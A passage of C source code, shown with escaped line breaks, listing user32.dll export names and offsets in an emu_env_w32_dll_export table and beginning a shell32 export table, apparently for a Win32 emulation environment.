NULL},\n\t{\"IsWindowUnicode\", 0x00019F72, NULL, NULL},\n\t{\"IsWindowVisible\", 0x00019E3D, NULL, NULL},\n\t{\"IsZoomed\", 0x00019C8A, NULL, NULL},\n\t{\"KillSystemTimer\", 0x000460CC, NULL, NULL},\n\t{\"KillTimer\", 0x00008C42, NULL, NULL},\n\t{\"LoadAcceleratorsA\", 0x00021553, NULL, NULL},\n\t{\"LoadAcceleratorsW\", 0x0001EE76, NULL, NULL},\n\t{\"LoadBitmapA\", 0x0001473C, NULL, NULL},\n\t{\"LoadBitmapW\", 0x00010242, NULL, NULL},\n\t{\"LoadCursorA\", 0x0001D33E, NULL, NULL},\n\t{\"LoadCursorFromFileA\", 0x00043CCB, NULL, NULL},\n\t{\"LoadCursorFromFileW\", 0x00043CAC, NULL, NULL},\n\t{\"LoadCursorW\", 0x00009D69, NULL, NULL},\n\t{\"LoadIconA\", 0x0001E8F6, NULL, NULL},\n\t{\"LoadIconW\", 0x0001E8BC, NULL, NULL},\n\t{\"LoadImageA\", 0x00017C08, NULL, NULL},\n\t{\"LoadImageW\", 0x00017B97, NULL, NULL},\n\t{\"LoadKeyboardLayoutA\", 0x00046262, NULL, NULL},\n\t{\"LoadKeyboardLayoutEx\", 0x0004623A, NULL, NULL},\n\t{\"LoadKeyboardLayoutW\", 0x00021464, NULL, NULL},\n\t{\"LoadLocalFonts\", 0x0000EDD8, NULL, NULL},\n\t{\"LoadMenuA\", 0x0003FA83, NULL, NULL},\n\t{\"LoadMenuIndirectA\", 0x0001EBBF, NULL, NULL},\n\t{\"LoadMenuIndirectW\", 0x0001EBBF, NULL, NULL},\n\t{\"LoadMenuW\", 0x0001EB48, NULL, NULL},\n\t{\"LoadRemoteFonts\", 0x0000ECB7, NULL, NULL},\n\t{\"LoadStringA\", 0x0001C908, NULL, NULL},\n\t{\"LoadStringW\", 0x00009E36, NULL, NULL},\n\t{\"LockSetForegroundWindow\", 0x0000DE5A, NULL, NULL},\n\t{\"LockWindowStation\", 0x0000F3C4, NULL, NULL},\n\t{\"LockWindowUpdate\", 0x00029636, NULL, NULL},\n\t{\"LockWorkStation\", 0x0005CD5E, NULL, NULL},\n\t{\"LookupIconIdFromDirectory\", 0x00047116, NULL, NULL},\n\t{\"LookupIconIdFromDirectoryEx\", 0x0000C4DA, NULL, NULL},\n\t{\"MBToWCSEx\", 0x0000ADAD, NULL, NULL},\n\t{\"MB_GetString\", 0x00055D55, NULL, NULL},\n\t{\"MapDialogRect\", 0x0004BE4C, NULL, NULL},\n\t{\"MapVirtualKeyA\", 0x0001FEEA, NULL, NULL},\n\t{\"MapVirtualKeyExA\", 0x0005B097, NULL, NULL},\n\t{\"MapVirtualKeyExW\", 0x0004959F, NULL, NULL},\n\t{\"MapVirtualKeyW\", 0x0004029E, NULL, NULL},\n\t{\"MapWindowPoints\", 0x00019507, NULL, NULL},\n\t{\"MenuItemFromPoint\", 0x0005CD70, NULL, NULL},\n\t{\"MenuWindowProcA\", 0x00046873, NULL, NULL},\n\t{\"MenuWindowProcW\", 0x0004682E, NULL, NULL},\n\t{\"MessageBeep\", 0x00021F7B, NULL, NULL},\n\t{\"MessageBoxA\", 0x000407EA, NULL, NULL},\n\t{\"MessageBoxExA\", 0x0004085C, NULL, NULL},\n\t{\"MessageBoxExW\", 0x00040838, NULL, NULL},\n\t{\"MessageBoxIndirectA\", 0x0002A082, NULL, NULL},\n\t{\"MessageBoxIndirectW\", 0x000564D5, NULL, NULL},\n\t{\"MessageBoxTimeoutA\", 0x00056406, NULL, NULL},\n\t{\"MessageBoxTimeoutW\", 0x00056383, NULL, NULL},\n\t{\"MessageBoxW\", 0x00056534, NULL, NULL},\n\t{\"ModifyMenuA\", 0x0003F20B, NULL, NULL},\n\t{\"ModifyMenuW\", 0x0000F51F, NULL, NULL},\n\t{\"MonitorFromPoint\", 0x0001ABF5, NULL, NULL},\n\t{\"MonitorFromRect\", 0x0001C713, NULL, NULL},\n\t{\"MonitorFromWindow\", 0x0001A679, NULL, NULL},\n\t{\"MoveWindow\", 0x0001B29E, NULL, NULL},\n\t{\"MsgWaitForMultipleObjects\", 0x00009689, NULL, NULL},\n\t{\"MsgWaitForMultipleObjectsEx\", 0x00009645, NULL, NULL},\n\t{\"NotifyWinEvent\", 0x000199CB, NULL, NULL},\n\t{\"OemKeyScan\", 0x0004023C, NULL, NULL},\n\t{\"OemToCharA\", 0x000200D7, NULL, NULL},\n\t{\"OemToCharBuffA\", 0x00020116, NULL, NULL},\n\t{\"OemToCharBuffW\", 0x000402BB, NULL, NULL},\n\t{\"OemToCharW\", 0x00056E76, NULL, NULL},\n\t{\"OffsetRect\", 0x00019011, NULL, NULL},\n\t{\"OpenClipboard\", 0x00020277, NULL, NULL},\n\t{\"OpenDesktopA\", 0x00022369, NULL, NULL},\n\t{\"OpenDesktopW\", 0x00018559, NULL, NULL},\n\t{\"OpenIcon\", 0x000460E7, NULL, NULL},\n\t{\"OpenInputDesktop\", 0x0000ECA3, NULL, NULL},\n\t{\"OpenWindowStationA\", 0x000221E1, NULL, NULL},\n\t{\"OpenWindowStationW\", 0x00045E0B, NULL, NULL},\n\t{\"PackDDElParam\", 0x0004B961, NULL, NULL},\n\t{\"PaintDesktop\", 0x0001864B, NULL, NULL},\n\t{\"PaintMenuBar\", 0x0002151E, NULL, NULL},\n\t{\"PeekMessageA\", 0x0001A340, NULL, NULL},\n\t{\"PeekMessageW\", 0x0000929B, NULL, NULL},\n\t{\"PostMessageA\", 0x0001AAFD, NULL, NULL},\n\t{\"PostMessageW\", 0x00008CCB, NULL, NULL},\n\t{\"PostQuitMessage\", 0x0001CA5A, NULL, NULL},\n\t{\"PostThreadMessageA\", 0x000177C5, NULL, NULL},\n\t{\"PostThreadMessageW\", 0x000177B8, NULL, NULL},\n\t{\"PrintWindow\", 0x00013810, NULL, NULL},\n\t{\"PrivateExtractIconExA\", 0x00050A09, NULL, NULL},\n\t{\"PrivateExtractIconExW\", 0x0000D3C3, NULL, NULL},\n\t{\"PrivateExtractIconsA\", 0x000509AF, NULL, NULL},\n\t{\"PrivateExtractIconsW\", 0x0000CCFC, NULL, NULL},\n\t{\"PrivateSetDbgTag\", 0x0005CE72, NULL, NULL},\n\t{\"PrivateSetRipFlags\", 0x0005CEFE, NULL, NULL},\n\t{\"PtInRect\", 0x00019719, NULL, NULL},\n\t{\"QuerySendMessage\", 0x0005CDBE, NULL, NULL},\n\t{\"QueryUserCounters\", 0x0005CDD2, NULL, NULL},\n\t{\"RealChildWindowFromPoint\", 0x0005CDE6, NULL, NULL},\n\t{\"RealGetWindowClass\", 0x0005B36B, NULL, NULL},\n\t{\"RealGetWindowClassA\", 0x0005B36B, NULL, NULL},\n\t{\"RealGetWindowClassW\", 0x000495F6, NULL, NULL},\n\t{\"ReasonCodeNeedsBugID\", 0x00057716, NULL, NULL},\n\t{\"ReasonCodeNeedsComment\", 0x000576FF, NULL, NULL},\n\t{\"RecordShutdownReason\", 0x000496FD, NULL, NULL},\n\t{\"RedrawWindow\", 0x00019944, NULL, NULL},\n\t{\"RegisterClassA\", 0x0001EA5E, NULL, NULL},\n\t{\"RegisterClassExA\", 0x00017C39, NULL, NULL},\n\t{\"RegisterClassExW\", 0x0000AF7F, NULL, NULL},\n\t{\"RegisterClassW\", 0x0000A39A, NULL, NULL},\n\t{\"RegisterClipboardFormatA\", 0x00008E28, NULL, NULL},\n\t{\"RegisterClipboardFormatW\", 0x0000AF34, NULL, NULL},\n\t{\"RegisterDeviceNotificationA\", 0x00011B3B, NULL, NULL},\n\t{\"RegisterDeviceNotificationW\", 0x0000E8B9, NULL, NULL},\n\t{\"RegisterHotKey\", 0x0000EBB3, NULL, NULL},\n\t{\"RegisterLogonProcess\", 0x00012B73, NULL, NULL},\n\t{\"RegisterMessagePumpHook\", 0x00011EFC, NULL, NULL},\n\t{\"RegisterRawInputDevices\", 0x0005CE0E, NULL, NULL},\n\t{\"RegisterServicesProcess\", 0x00011FAE, NULL, NULL},\n\t{\"RegisterShellHookWindow\", 0x0000E104, NULL, NULL},\n\t{\"RegisterSystemThread\", 0x00046198, NULL, NULL},\n\t{\"RegisterTasklist\", 0x0005CE22, NULL, NULL},\n\t{\"RegisterUserApiHook\", 0x00011CFF, NULL, NULL},\n\t{\"RegisterWindowMessageA\", 0x00008E28, NULL, NULL},\n\t{\"RegisterWindowMessageW\", 0x0000AF34, NULL, NULL},\n\t{\"ReleaseCapture\", 0x0001C37A, NULL, NULL},\n\t{\"ReleaseDC\", 0x0000869D, NULL, NULL},\n\t{\"RemoveMenu\", 0x0000F716, NULL, NULL},\n\t{\"RemovePropA\", 0x00020094, NULL, NULL},\n\t{\"RemovePropW\", 0x0001C076, NULL, NULL},\n\t{\"ReplyMessage\", 0x000186F8, NULL, NULL},\n\t{\"ResolveDesktopForWOW\", 0x0005CE36, NULL, NULL},\n\t{\"ReuseDDElParam\", 0x0004BADB, NULL, NULL},\n\t{\"ScreenToClient\", 0x000197A0, NULL, NULL},\n\t{\"ScrollChildren\", 0x00054DFC, NULL, NULL},\n\t{\"ScrollDC\", 0x0000B1DD, NULL, NULL},\n\t{\"ScrollWindow\", 0x0001FF39, NULL, NULL},\n\t{\"ScrollWindowEx\", 0x00020187, NULL, NULL},\n\t{\"SendDlgItemMessageA\", 0x0002C2E7, NULL, NULL},\n\t{\"SendDlgItemMessageW\", 0x000173CC, NULL, NULL},\n\t{\"SendIMEMessageExA\", 0x0005B49E, NULL, NULL},\n\t{\"SendIMEMessageExW\", 0x0005B48D, NULL, NULL},\n\t{\"SendInput\", 0x0001F140, NULL, NULL},\n\t{\"SendMessageA\", 0x0001F3C2, NULL, NULL},\n\t{\"SendMessageCallbackA\", 0x0005B129, NULL, NULL},\n\t{\"SendMessageCallbackW\", 0x0001D6DB, NULL, NULL},\n\t{\"SendMessageTimeoutA\", 0x0001FB6B, NULL, NULL},\n\t{\"SendMessageTimeoutW\", 0x0001CDAA, NULL, NULL},\n\t{\"SendMessageW\", 0x0001929A, NULL, NULL},\n\t{\"SendNotifyMessageA\", 0x00043948, NULL, NULL},\n\t{\"SendNotifyMessageW\", 0x0001D64F, NULL, NULL},\n\t{\"SetActiveWindow\", 0x00017822, NULL, NULL},\n\t{\"SetCapture\", 0x0001C35E, NULL, NULL},\n\t{\"SetCaretBlinkTime\", 0x00021174, NULL, NULL},\n\t{\"SetCaretPos\", 0x0001A962, NULL, NULL},\n\t{\"SetClassLongA\", 0x0001FE71, NULL, NULL},\n\t{\"SetClassLongW\", 0x0000E14B, NULL, NULL},\n\t{\"SetClassWord\", 0x0005CE4A, NULL, NULL},\n\t{\"SetClipboardData\", 0x00020F9E, NULL, NULL},\n\t{\"SetClipboardViewer\", 0x00020473, NULL, NULL},\n\t{\"SetConsoleReserveKeys\", 0x0001865F, NULL, NULL},\n\t{\"SetCursor\", 0x00019930, NULL, NULL},\n\t{\"SetCursorContents\", 0x0005CE5E, NULL, NULL},\n\t{\"SetCursorPos\", 0x000461B3, NULL, NULL},\n\t{\"SetDebugErrorLevel\", 0x000462EB, NULL, NULL},\n\t{\"SetDeskWallpaper\", 0x00045705, NULL, NULL},\n\t{\"SetDlgItemInt\", 0x0004BC09, NULL, NULL},\n\t{\"SetDlgItemTextA\", 0x0002C972, NULL, NULL},\n\t{\"SetDlgItemTextW\", 0x0001736C, NULL, NULL},\n\t{\"SetDoubleClickTime\", 0x000461CE, NULL, NULL},\n\t{\"SetFocus\", 0x0001B112, NULL, NULL},\n\t{\"SetForegroundWindow\", 0x000142ED, NULL, NULL},\n\t{\"SetInternalWindowPos\", 0x0005CE9A, NULL, NULL},\n\t{\"SetKeyboardState\", 0x000202B5, NULL, NULL},\n\t{\"SetLastErrorEx\", 0x00056FB0, NULL, NULL},\n\t{\"SetLayeredWindowAttributes\", 0x0001CE12, NULL, NULL},\n\t{\"SetLogonNotifyWindow\", 0x00011FEF, NULL, NULL},\n\t{\"SetMenu\", 0x0003F3F6, NULL, NULL},\n\t{\"SetMenuContextHelpId\", 0x0005CEC2, NULL, NULL},\n\t{\"SetMenuDefaultItem\", 0x0000F5B4, NULL, NULL},\n\t{\"SetMenuInfo\", 0x0005523C, NULL, NULL},\n\t{\"SetMenuItemBitmaps\", 0x0003FAB2, NULL, NULL},\n\t{\"SetMenuItemInfoA\", 0x0005AE5E, NULL, NULL},\n\t{\"SetMenuItemInfoW\", 0x00013281, NULL, NULL},\n\t{\"SetMessageExtraInfo\", 0x000468C5, NULL, NULL},\n\t{\"SetMessageQueue\", 0x0002E1EB, NULL, NULL},\n\t{\"SetParent\", 0x0001C7F9, NULL, NULL},\n\t{\"SetProcessDefaultLayout\", 0x000463FC, NULL, NULL},\n\t{\"SetProcessWindowStation\", 0x00017D40, NULL, NULL},\n\t{\"SetProgmanWindow\", 0x00046168, NULL, NULL},\n\t{\"SetPropA\", 0x00020000, NULL, NULL},\n\t{\"SetPropW\", 0x0001C0B9, NULL, NULL},\n\t{\"SetRect\", 0x00018FA6, NULL, NULL},\n\t{\"SetRectEmpty\", 0x00019CBA, NULL, NULL},\n\t{\"SetScrollInfo\", 0x00009056, NULL, NULL},\n\t{\"SetScrollPos\", 0x0001F750, NULL, NULL},\n\t{\"SetScrollRange\", 0x0001F99B, NULL, NULL},\n\t{\"SetShellWindow\", 0x00046114, NULL, NULL},\n\t{\"SetShellWindowEx\", 0x0000FF92, NULL, NULL},\n\t{\"SetSysColors\", 0x00056582, NULL, NULL},\n\t{\"SetSysColorsTemp\", 0x00056EBE, NULL, NULL},\n\t{\"SetSystemCursor\", 0x0005670B, NULL, NULL},\n\t{\"SetSystemMenu\", 0x0002F9E3, NULL, NULL},\n\t{\"SetSystemTimer\", 0x0005CF3A, NULL, NULL},\n\t{\"SetTaskmanWindow\", 0x00010260, NULL, NULL},\n\t{\"SetThreadDesktop\", 0x00017D2C, NULL, NULL},\n\t{\"SetTimer\", 0x00008C2E, NULL, NULL},\n\t{\"SetUserObjectInformationA\", 0x0005CEEA, NULL, NULL},\n\t{\"SetUserObjectInformationW\", 0x0005CEEA, NULL, NULL},\n\t{\"SetUserObjectSecurity\", 0x000113B3, NULL, NULL},\n\t{\"SetWinEventHook\", 0x000217F7, NULL, NULL},\n\t{\"SetWindowContextHelpId\", 0x0002FDD9, NULL, NULL},\n\t{\"SetWindowLongA\", 0x0001C29D, NULL, NULL},\n\t{\"SetWindowLongW\", 0x0001C2BB, NULL, NULL},\n\t{\"SetWindowPlacement\", 0x0000DE46, NULL, NULL},\n\t{\"SetWindowPos\", 0x000199F3, NULL, NULL},\n\t{\"SetWindowRgn\", 0x0001E528, NULL, NULL},\n\t{\"SetWindowStationUser\", 0x0000F338, NULL, NULL},\n\t{\"SetWindowTextA\", 0x0001F56B, NULL, NULL},\n\t{\"SetWindowTextW\", 0x0001960E, NULL, NULL},\n\t{\"SetWindowWord\", 0x000203DB, NULL, NULL},\n\t{\"SetWindowsHookA\", 0x0002ED69, NULL, NULL},\n\t{\"SetWindowsHookExA\", 0x00021211, NULL, NULL},\n\t{\"SetWindowsHookExW\", 0x0001820F, NULL, NULL},\n\t{\"SetWindowsHookW\", 0x00011B8A, NULL, NULL},\n\t{\"ShowCaret\", 0x0001B09A, NULL, NULL},\n\t{\"ShowCursor\", 0x0001FA6E, NULL, NULL},\n\t{\"ShowOwnedPopups\", 0x000461E6, NULL, NULL},\n\t{\"ShowScrollBar\", 0x0001F2F2, NULL, NULL},\n\t{\"ShowStartGlass\", 0x00040101, NULL, NULL},\n\t{\"ShowWindow\", 0x0001AF56, NULL, NULL},\n\t{\"ShowWindowAsync\", 0x0001337D, NULL, NULL},\n\t{\"SoftModalMessageBox\", 0x0002A2DF, NULL, NULL},\n\t{\"SubtractRect\", 0x00010138, NULL, NULL},\n\t{\"SwapMouseButton\", 0x00046201, NULL, NULL},\n\t{\"SwitchDesktop\", 0x0000FE6E, NULL, NULL},\n\t{\"SwitchToThisWindow\", 0x0004581C, NULL, NULL},\n\t{\"SystemParametersInfoA\", 0x0001DEB2, NULL, NULL},\n\t{\"SystemParametersInfoW\", 0x00009F06, NULL, NULL},\n\t{\"TabbedTextOutA\", 0x0004A5E5, NULL, NULL},\n\t{\"TabbedTextOutW\", 0x0004A5B6, NULL, NULL},\n\t{\"TileChildWindows\", 0x00046219, NULL, NULL},\n\t{\"TileWindows\", 0x00055215, NULL, NULL},\n\t{\"ToAscii\", 0x00045721, NULL, NULL},\n\t{\"ToAsciiEx\", 0x0004577E, NULL, NULL},\n\t{\"ToUnicode\", 0x000566A8, NULL, NULL},\n\t{\"ToUnicodeEx\", 0x000566D9, NULL, NULL},\n\t{\"TrackMouseEvent\", 0x0001C80D, NULL, NULL},\n\t{\"TrackPopupMenu\", 0x0005531E, NULL, NULL},\n\t{\"TrackPopupMenuEx\", 0x0005CF62, NULL, NULL},\n\t{\"TranslateAccelerator\", 0x0001FAC4, NULL, NULL},\n\t{\"TranslateAcceleratorA\", 0x0001FAC4, NULL, NULL},\n\t{\"TranslateAcceleratorW\", 0x0000941E, NULL, NULL},\n\t{\"TranslateMDISysAccel\", 0x0001FB2F, NULL, NULL},\n\t{\"TranslateMessage\", 0x00008BF6, NULL, NULL},\n\t{\"TranslateMessageEx\", 0x00008A19, NULL, NULL},\n\t{\"UnhookWinEvent\", 0x000218AC, NULL, NULL},\n\t{\"UnhookWindowsHook\", 0x00011BA5, NULL, NULL},\n\t{\"UnhookWindowsHookEx\", 0x0001D5F3, NULL, NULL},\n\t{\"UnionRect\", 0x0001A0F1, NULL, NULL},\n\t{\"UnloadKeyboardLayout\", 0x000462C0, NULL, NULL},\n\t{\"UnlockWindowStation\", 0x0000DCD9, NULL, NULL},\n\t{\"UnpackDDElParam\", 0x0004B9C5, NULL, NULL},\n\t{\"UnregisterClassA\", 0x000189A3, NULL, NULL},\n\t{\"UnregisterClassW\", 0x00009AA4, NULL, NULL},\n\t{\"UnregisterDeviceNotification\", 0x0000E8D7, NULL, NULL},\n\t{\"UnregisterHotKey\", 0x0005CF8A, NULL, NULL},\n\t{\"UnregisterMessagePumpHook\", 0x0000FE08, NULL, NULL},\n\t{\"UnregisterUserApiHook\", 0x0000EDFB, NULL, NULL},\n\t{\"UpdateLayeredWindow\", 0x0001ACF3, NULL, NULL},\n\t{\"UpdatePerUserSystemParameters\", 0x000119C8, NULL, NULL},\n\t{\"UpdateWindow\", 0x0001AEAB, NULL, NULL},\n\t{\"User32InitializeImmEntryTable\", 0x0002D395, NULL, NULL},\n\t{\"UserClientDllInitialize\", 0x0000B217, NULL, NULL},\n\t{\"UserHandleGrantAccess\", 0x0005CFDA, NULL, NULL},\n\t{\"UserLpkPSMTextOut\", 0x0001BC25, NULL, NULL},\n\t{\"UserLpkTabbedTextOut\", 0x0004A3FB, NULL, NULL},\n\t{\"UserRealizePalette\", 0x0001FA56, NULL, NULL},\n\t{\"UserRegisterWowHandlers\", 0x00043748, NULL, NULL},\n\t{\"VRipOutput\", 0x0005B427, NULL, NULL},\n\t{\"VTagOutput\", 0x0005B427, NULL, NULL},\n\t{\"ValidateRect\", 0x0001FBBD, NULL, NULL},\n\t{\"ValidateRgn\", 0x0001F67E, NULL, NULL},\n\t{\"VkKeyScanA\", 0x0002E4C0, NULL, NULL},\n\t{\"VkKeyScanExA\", 0x0005B18B, NULL, NULL},\n\t{\"VkKeyScanExW\", 0x0001F1BC, NULL, NULL},\n\t{\"VkKeyScanW\", 0x0002E1F6, NULL, NULL},\n\t{\"WCSToMBEx\", 0x0001D446, NULL, NULL},\n\t{\"WINNLSEnableIME\", 0x0005B46B, NULL, NULL},\n\t{\"WINNLSGetEnableStatus\", 0x0005B47C, NULL, NULL},\n\t{\"WINNLSGetIMEHotkey\", 0x00023785, NULL, NULL},\n\t{\"WaitForInputIdle\", 0x0003FAF5, NULL, NULL},\n\t{\"WaitMessage\", 0x0000940C, NULL, NULL},\n\t{\"Win32PoolAllocationStats\", 0x0005D002, NULL, NULL},\n\t{\"WinHelpA\", 0x0002EE5D, NULL, NULL},\n\t{\"WinHelpW\", 0x00051BD4, NULL, NULL},\n\t{\"WindowFromDC\", 0x0001FA3E, NULL, NULL},\n\t{\"WindowFromPoint\", 0x00019766, NULL, NULL},\n\t{\"keybd_event\", 0x00056783, NULL, NULL},\n\t{\"mouse_event\", 0x0005673F, NULL, NULL},\n\t{\"wsprintfA\", 0x0000A8AD, NULL, NULL},\n\t{\"wsprintfW\", 0x0000A9B6, NULL, NULL},\n\t{\"wvsprintfA\", 0x0000A610, NULL, NULL},\n\t{\"wvsprintfW\", 0x0000A9D1, NULL, NULL},\n\t{0,0,NULL},\n};\n\nstruct emu_env_w32_dll_export shell32_exports[] =\n{\n\t{\"SHChangeNotifyRegister\", 0x0003EB0B, NULL, NULL},\n\t{\"SHDefExtractIconA\", 0x000F4E4E, NULL, NULL},\n\t{\"SHChangeNotifyDeregister\", 0x000349CA, NULL, NULL},\n\t{\"SHDefExtractIconW\", 0x000456B1, NULL, NULL},\n\t{\"PifMgr_OpenProperties\", 0x000C4045, NULL, NULL},\n\t{\"PifMgr_GetProperties\", 0x000C32C8, NULL, NULL},\n\t{\"PifMgr_SetProperties\", 0x000C3B47, NULL, NULL},\n\t{\"PifMgr_CloseProperties\", 0x000C2BAC, NULL, NULL},\n\t{\"SHStartNetConnectionDialogW\", 0x00111C25, NULL, NULL},\n\t{\"ILFindLastID\", 0x0002CE2C, NULL, NULL},\n\t{\"ILRemoveLastID\", 0x0002C667, NULL, NULL},\n\t{\"ILClone\", 0x0002B2A5, NULL, NULL},\n\t{\"ILCloneFirst\", 0x0002B514, NULL, NULL},\n\t{\"ILIsEqual\", 0x000311EB, NULL, NULL},\n\t{\"DAD_DragEnterEx2\", 0x000EEBAF, NULL, NULL},\n\t{\"ILIsParent\", 0x00031408, NULL, NULL},\n\t{\"ILFindChild\", 0x000314C8, NULL, NULL},\n\t{\"ILCombine\", 0x0002B5C5, NULL, NULL},\n\t{\"ILLoadFromStream\", 0x0004D37F, NULL, NULL},\n\t{\"ILSaveToStream\", 0x0006F484, NULL, NULL},\n\t{\"SHILCreateFromPath\", 0x0002E5F0, NULL, NULL},\n\t{\"IsLFNDriveA\", 0x000B519A, NULL, NULL},\n\t{\"IsLFNDriveW\", 0x00037851, NULL, NULL},\n\t{\"PathIsExe\", 0x0003755E, NULL, NULL},\n\t{\"OpenAs_RunDLL\", 0x000CE101, NULL, NULL},\n\t{\"PathMakeUniqueName\", 0x000B55CC, NULL, NULL},\n\t{\"PathQualify\", 0x000B51E4, NULL, NULL},\n\t{\"PathResolve\", 0x000494B2, NULL, NULL},\n\t{\"RestartDialog\", 0x000B8D55, NULL, NULL},\n\t{\"PickIconDlg\", 0x000B6467, NULL, NULL},\n\t{\"GetFileNameFromBrowse\", 0x000F751B, NULL, NULL},\n\t{\"DriveType\", 0x00030EAA, NULL, NULL},\n\t{\"IsNetDrive\", 0x00030618, NULL, NULL},\n\t{\"Shell_MergeMenus\", 0x0003F204, NULL, NULL},\n\t{\"SHGetSetSettings\", 0x0002C860, NULL, NULL},\n\t{\"Shell_GetImageLists\", 0x00033B8E, NULL, NULL},\n\t{\"Shell_GetCachedImageIndex\", 0x00033E68, NULL, NULL},\n\t{\"SHShellFolderView_Message\", 0x0010AD28, NULL, NULL},\n\t{\"SHCreateStdEnumFmtEtc\", 0x000A6ECA, NULL, NULL},\n\t{\"PathYetAnotherMakeUniqueName\", 0x000708E1, NULL, NULL},\n\t{\"SHMapPIDLToSystemImageListIndex\", 0x00043A54, NULL, NULL},\n\t{\"SHOpenPropSheetW\", 0x000B9711, NULL, NULL},\n\t{\"OpenAs_RunDLLA\", 0x000CE101, NULL, NULL},\n\t{\"OpenRegStream\", 0x0004C4F6, NULL, NULL},\n\t{\"SHDoDragDrop\", 0x000EED9D, NULL, NULL},\n\t{\"SHCloneSpecialIDList\", 0x00037053, NULL, NULL},\n\t{\"SHFindFiles\", 0x0010E52A, NULL, NULL},\n\t{\"PathGetShortPath\", 0x000B501E, NULL, NULL},\n\t{\"SHGetRealIDL\", 0x00078E09, NULL, NULL},\n\t{\"SHRestricted\", 0x0002C509, NULL, NULL},\n\t{\"OpenAs_RunDLLW\", 0x000CE1BB, NULL, NULL},\n\t{\"SHCoCreateInstance\", 0x0002B042, NULL, NULL},\n\t{\"SignalFileOpen\", 0x000F5BC8, NULL, NULL},\n\t{\"Activate_RunDLL\", 0x000CF1B4, NULL, NULL},\n\t{\"AppCompat_RunDLLW\", 0x000D8C1F, NULL, NULL},\n\t{\"CheckEscapesA\", 0x000BB421, NULL, NULL},\n\t{\"CheckEscapesW\", 0x000BB378, NULL, NULL},\n\t{\"CommandLineToArgvW\", 0x000813A0, NULL, NULL},\n\t{\"Control_FillCache_RunDLL\", 0x000B1710, NULL, NULL},\n\t{\"Control_FillCache_RunDLLA\", 0x000B1710, NULL, NULL},\n\t{\"Control_FillCache_RunDLLW\", 0x000B1805, NULL, NULL},\n\t{\"Control_RunDLL\", 0x000B23E8, NULL, NULL},\n\t{\"Control_RunDLLA\", 0x000B23E8, NULL, NULL},\n\t{\"Control_RunDLLAsUserW\", 0x000B249A, NULL, NULL},\n\t{\"Control_RunDLLW\", 0x000B2441, NULL, NULL},\n\t{\"DllCanUnloadNow\", 0x0006A2CD, NULL, NULL},\n\t{\"DllGetClassObject\", 0x00032899, NULL, NULL},\n\t{\"DllGetVersion\", 0x0004641B, NULL, NULL},\n\t{\"IsLFNDrive\", 0x00037851, NULL, NULL},\n\t{\"DllInstall\", 0x000F1DCC, NULL, NULL},\n\t{\"SHFlushClipboard\", 0x000B3F6C, NULL, NULL},\n\t{\"DllRegisterServer\", 0x00039B79, NULL, NULL},\n\t{\"DllUnregisterServer\", 0x00039B79, NULL, NULL},\n\t{\"DAD_AutoScroll\", 0x000E5770, NULL, NULL},\n\t{\"DAD_DragEnterEx\", 0x000EEC08, NULL, NULL},\n\t{\"DAD_DragLeave\", 0x000EED3C, NULL, NULL},\n\t{\"DoEnvironmentSubstA\", 0x000B375A, NULL, NULL},\n\t{\"DAD_DragMove\", 0x000EEC61, NULL, NULL},\n\t{\"DoEnvironmentSubstW\", 0x00080DB7, NULL, NULL},\n\t{\"DAD_SetDragImage\", 0x000EECA1, NULL, NULL},\n\t{\"DAD_ShowDragImage\", 0x0004F6E4, NULL, NULL},\n\t{\"DragAcceptFiles\", 0x0006B201, NULL, NULL},\n\t{\"DragFinish\", 0x000B7CE5, NULL, NULL},\n\t{\"DragQueryFile\", 0x000B7CF6, NULL, NULL},\n\t{\"DragQueryFileA\", 0x000B7CF6, NULL, NULL},\n\t{\"DragQueryFileAorW\", 0x00058339, NULL, NULL},\n\t{\"DragQueryFileW\", 0x00058316, NULL, NULL},\n\t{\"DragQueryPoint\", 0x000B7C88, NULL, NULL},\n\t{\"SHCLSIDFromString\", 0x0002CC63, NULL, NULL},\n\t{\"SHMapIDListToImageListIndexAsync\", 0x00042D74, NULL, NULL},\n\t{\"SHFind_InitMenuPopup\", 0x0010CEFE, NULL, NULL},\n\t{\"DuplicateIcon\", 0x000B2AFF, NULL, NULL},\n\t{\"SHLoadOLE\", 0x0002ACD1, NULL, NULL},\n\t{\"ILGetSize\", 0x0002B240, NULL, NULL},\n\t{\"ILGetNext\", 0x000744C7, NULL, NULL},\n\t{\"ILAppendID\", 0x000F78F9, NULL, NULL},\n\t{\"ILFree\", 0x0002AB7C, NULL, NULL},\n\t{\"ILCreateFromPath\", 0x0002E78F, NULL, NULL},\n\t{\"SHRunControlPanel\", 0x000B23CD, NULL, NULL},\n\t{\"SHSimpleIDListFromPath\", 0x0002B1B9, NULL, NULL},\n\t{\"Win32DeleteFile\", 0x0007051D, NULL, NULL},\n\t{\"SHCreateDirectory\", 0x000AA975, NULL, NULL},\n\t{\"CallCPLEntry16\", 0x000BD7E2, NULL, NULL},\n\t{\"SHAddFromPropSheetExtArray\", 0x000B78E3, NULL, NULL},\n\t{\"SHCreatePropSheetExtArray\", 0x000B7B13, NULL, NULL},\n\t{\"SHDestroyPropSheetExtArray\", 0x000B78AC, NULL, NULL},\n\t{\"SHReplaceFromPropSheetExtArray\", 0x000B793B, NULL, NULL},\n\t{\"PathCleanupSpec\", 0x00070AC4, NULL, NULL},\n\t{\"SHValidateUNC\", 0x000F5418, NULL, NULL},\n\t{\"SHCreateShellFolderViewEx\", 0x0010B1B4, NULL, NULL},\n\t{\"SHSetInstanceExplorer\", 0x001042A0, NULL, NULL},\n\t{\"SHObjectProperties\", 0x000B3A8A, NULL, NULL},\n\t{\"SHGetNewLinkInfoA\", 0x0010290F, NULL, NULL},\n\t{\"SHGetNewLinkInfoW\", 0x00070B62, NULL, NULL},\n\t{\"ShellMessageBoxW\", 0x001DCD3A, NULL, NULL},\n\t{\"ShellMessageBoxA\", 0x000B3E9E, NULL, NULL},\n\t{\"ILCreateFromPathA\", 0x000F7B58, NULL, NULL},\n\t{\"ILCreateFromPathW\", 0x0002E78F, NULL, NULL},\n\t{\"SHUpdateImageA\", 0x000FB7A5, NULL, NULL},\n\t{\"SHUpdateImageW\", 0x000FB666, NULL, NULL},\n\t{\"SHHandleUpdateImage\", 0x000FAFBE, NULL, NULL},\n\t{\"SHFree\", 0x0002A97A, NULL, NULL},\n\t{\"SHAlloc\", 0x0002B210, NULL, NULL},\n\t{\"ExtractAssociatedIconA\", 0x000B3615, NULL, NULL},\n\t{\"ExtractAssociatedIconExA\", 0x000B3356, NULL, NULL},\n\t{\"ExtractAssociatedIconExW\", 0x000B318B, NULL, NULL},\n\t{\"ExtractAssociatedIconW\", 0x000B3449, NULL, NULL},\n\t{\"ExtractIconA\", 0x000B34A7, NULL, NULL},\n\t{\"ExtractIconEx\", 0x000B2AEE, 